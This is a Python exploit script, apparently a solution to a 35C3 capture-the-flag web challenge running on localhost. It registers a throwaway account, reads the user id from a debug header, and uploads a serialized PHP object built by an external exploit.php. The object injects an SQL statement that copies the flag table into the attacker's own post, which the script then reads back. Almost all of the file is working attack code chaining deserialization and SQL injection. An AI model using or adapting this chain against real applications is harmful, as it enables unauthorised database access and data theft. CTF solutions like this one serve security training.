import requests
import re
import random
import base64
import subprocess
import string

TARGET = "http://localhost:8000/"
s = requests.Session()

def register(user, pw):
    url = "{}?page=register".format(TARGET)
    data={"username": user, "password": pw}
    s.post(url, data=data)

def login(user, pw):
    url = "{}?page=login".format(TARGET)
    data={"username": user, "password": pw}
    s.post(url, data=data)

def fetch_uid():
    return s.get(TARGET, headers={"Debug": "1"}).content.decode().split("int(")[1].split(")")[0]

def inject_object(payload):
    serialized = subprocess.check_output(["php", "exploit.php", payload])
    serialized = base64.b64decode(serialized)
    files = {
            "title": (None, "foobar"),
            "content": (None, serialized),
    }
    s.post("{}?action=create".format(TARGET), files=files).content

def get_flag():
    res = s.get(TARGET).content.decode()
    return re.findall("35c3_[a-zA-Z0-9_]+", res)

user = "".join(random.choices(string.ascii_uppercase + string.digits, k=6))
pw = "".join(random.choices(string.ascii_uppercase + string.digits, k=6))

register(user, pw)
login(user, pw)

# get our user id using the "Debug" header
uid = fetch_uid()

# since we can't see any output of the curl command from the miniProxy,
# we will copy the flag into one of our posts and then view that post afterwards
payload = "insert into posts (userid, title, content, attachment) values ({}, \"foobar\", (select flag from flag.flag), \"foobar\");".format(uid)
inject_object(payload)

# get the flag :)
print(get_flag())
